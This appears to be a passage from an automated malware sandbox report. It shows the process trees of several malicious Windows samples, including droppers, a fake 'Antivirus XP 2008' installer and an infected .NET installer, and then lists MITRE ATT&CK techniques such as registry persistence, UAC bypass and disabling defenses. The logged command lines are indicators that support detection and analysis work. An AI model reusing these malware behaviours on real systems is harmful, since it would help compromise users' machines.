- - C:\Users\Admin\AppData\Roaming\31.exe
    C:\Users\Admin\AppData\Roaming\31.exe
    3⤵
    PID:9796

C:\Users\Admin\Desktop\eupdate.exe
"C:\Users\Admin\Desktop\eupdate.exe"
1⤵
PID:2656
- C:\Users\Admin\Desktop\eupdate.exe
  "eupdate.exe"
  2⤵
  PID:1360
- - C:\Users\Admin\AppData\Roaming\D2827F5DDA291301979414\D2827F5DDA291301979414.exe
    "C:\Users\Admin\AppData\Roaming\D2827F5DDA291301979414\D2827F5DDA291301979414.exe"
    3⤵
    PID:4312
  - - C:\Users\Admin\AppData\Roaming\D2827F5DDA291301979414\D2827F5DDA291301979414.exe
      "D2827F5DDA291301979414.exe"
      4⤵
      PID:2716

C:\Users\Admin\Desktop\file.exe
"C:\Users\Admin\Desktop\file.exe"
1⤵
PID:1520
- C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
  "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\5dsmrodf.cmdline"
  2⤵
  PID:5608
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES199A.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc36BDFC311AC14166869796D8448D761E.TMP"
    3⤵
    PID:7796
- C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
  "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\_aysdut7.cmdline"
  2⤵
  PID:7356
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC2A7.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc45E52B5924E244E68BAD81BEDF6559F.TMP"
    3⤵
    PID:3736
- C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
  "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\z8zhvtiq.cmdline"
  2⤵
  PID:8620
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB321.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc170AE2BA44B34E09BFB9FB76B1CFD0.TMP"
    3⤵
    PID:9972
- C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe
  "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\9s-1jyjo.cmdline"
  2⤵
  PID:5080

C:\Users\Admin\Desktop\update.exe
"C:\Users\Admin\Desktop\update.exe"
1⤵
PID:1180

C:\Windows\SysWOW64\wlanext.exe
"C:\Windows\SysWOW64\wlanext.exe"
1⤵
PID:412

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\SysWOW64\netsh.exe"
1⤵
PID:2268

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:4276

C:\Users\Admin\WinService.exe
C:\Users\Admin\WinService.exe
1⤵
PID:2452

C:\Users\Admin\Desktop\infected dot net installer.exe
"C:\Users\Admin\Desktop\infected dot net installer.exe"
1⤵
PID:5660
- C:\Users\Admin\Desktop\._cache_infected dot net installer.exe
  "C:\Users\Admin\Desktop\._cache_infected dot net installer.exe"
  2⤵
  PID:7200
- - F:\e1cb94c7c2dc69477d78\Setup.exe
    F:\e1cb94c7c2dc69477d78\\Setup.exe /x86 /x64 /web
    3⤵
    PID:7980
- C:\ProgramData\Synaptics\Synaptics.exe
  "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
  2⤵
  PID:5568
- - C:\Users\Admin\Desktop\._cache_Synaptics.exe
    "C:\Users\Admin\Desktop\._cache_Synaptics.exe" InjUpdate
    3⤵
    PID:8712
  - - F:\2db11e5d156aff291d9cc185dcb6\Setup.exe
      F:\2db11e5d156aff291d9cc185dcb6\\Setup.exe InjUpdate /x86 /x64 /web
      4⤵
      PID:9288

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\a9be897dc3a74dc1b631e5568edb5b65 /t 3268 /p 3264
1⤵
PID:4804

C:\Windows\SysWOW64\explorer.exe
"C:\Windows\SysWOW64\explorer.exe"
1⤵
PID:6764
- C:\Windows\SysWOW64\cmd.exe
  /c del "C:\Users\Admin\AppData\Roaming\18.exe"
  2⤵
  PID:7964

C:\Users\Admin\Desktop\2019-09-02_22-41-10.exe
"C:\Users\Admin\Desktop\2019-09-02_22-41-10.exe"
1⤵
PID:5528
- C:\Users\Admin\Desktop\2019-09-02_22-41-10.exe
  "C:\Users\Admin\Desktop\2019-09-02_22-41-10.exe"
  2⤵
  PID:5452

C:\Users\Admin\Desktop\b2bd3de3e5b0e35313263bef4b1ca49c5478d472f6d37d1070a57b1f6aa4f7bb (2).exe
"C:\Users\Admin\Desktop\b2bd3de3e5b0e35313263bef4b1ca49c5478d472f6d37d1070a57b1f6aa4f7bb (2).exe"
1⤵
PID:3864

C:\Users\Admin\Desktop\2c01b007729230c415420ad641ad92eb.exe
"C:\Users\Admin\Desktop\2c01b007729230c415420ad641ad92eb.exe"
1⤵
PID:8088
- C:\Users\Admin\AppData\Roaming\wou\odm.exe
  "C:\Users\Admin\AppData\Roaming\wou\odm.exe" kja-pex
  2⤵
  PID:2380

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3484 -ip 3484
1⤵
PID:8876

C:\Users\Admin\Desktop\[email protected]
"C:\Users\Admin\Desktop\[email protected]"
1⤵
PID:11016
- C:\Windows\SysWOW64\wscript.exe
  wscript //B C:\Users\Admin\AppData\Local\Temp\pin.vbs "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Antivirus XP 2008" "Antivirus XP 2008.lnk"
  2⤵
  PID:6640

C:\Users\Admin\Desktop\eupdate.exe
"C:\Users\Admin\Desktop\eupdate.exe"
1⤵
PID:6176
- C:\Users\Admin\Desktop\eupdate.exe
  "eupdate.exe"
  2⤵
  PID:11028
- - C:\Users\Admin\AppData\Roaming\D2827F5DDA291301979414\D2827F5DDA291301979414.exe
    "C:\Users\Admin\AppData\Roaming\D2827F5DDA291301979414\D2827F5DDA291301979414.exe"
    3⤵
    PID:8560

C:\Users\Admin\Desktop\hyundai steel-pipe- job 8010.exe
"C:\Users\Admin\Desktop\hyundai steel-pipe- job 8010.exe"
1⤵
PID:10488

C:\Users\Admin\Desktop\[email protected]
"C:\Users\Admin\Desktop\[email protected]"
1⤵
PID:10300
- C:\Windows\SysWOW64\wscript.exe
  wscript //B C:\Users\Admin\AppData\Local\Temp\pin.vbs "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Antivirus XP 2008" "Antivirus XP 2008.lnk"
  2⤵
  PID:10744

C:\Users\Admin\Desktop\eupdate.exe
"C:\Users\Admin\Desktop\eupdate.exe"
1⤵
PID:10640
- C:\Users\Admin\Desktop\eupdate.exe
  "eupdate.exe"
  2⤵
  PID:8552
- - C:\Users\Admin\AppData\Roaming\D2827F5DDA291301979414\D2827F5DDA291301979414.exe
    "C:\Users\Admin\AppData\Roaming\D2827F5DDA291301979414\D2827F5DDA291301979414.exe"
    3⤵
    PID:8528

C:\Users\Admin\AppData\Roaming\D2827F5DDA291301979414\D2827F5DDA291301979414.exe
"D2827F5DDA291301979414.exe"
1⤵
PID:9280

C:\Windows\SysWOW64\explorer.exe
"C:\Windows\SysWOW64\explorer.exe"
1⤵
PID:7568

C:\Users\Admin\AppData\Roaming\D2827F5DDA291301979414\D2827F5DDA291301979414.exe
"D2827F5DDA291301979414.exe"
1⤵
PID:9828

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:8388

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\b6b05ff6d4a14ecb9bc8ee62f89770db /t 3268 /p 3264
1⤵
PID:9088

C:\Windows\explorer.exe
explorer.exe
1⤵
PID:1776
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 1776 -s 432
  2⤵
  - Program crash
  PID:9712

C:\Users\Admin\WinService.exe
C:\Users\Admin\WinService.exe
1⤵
PID:8896

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:10920

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 952 -p 1776 -ip 1776
1⤵
PID:11168

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 10692 -ip 10692
1⤵
PID:2536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Scripting

T1064

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Scripting

T1064

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery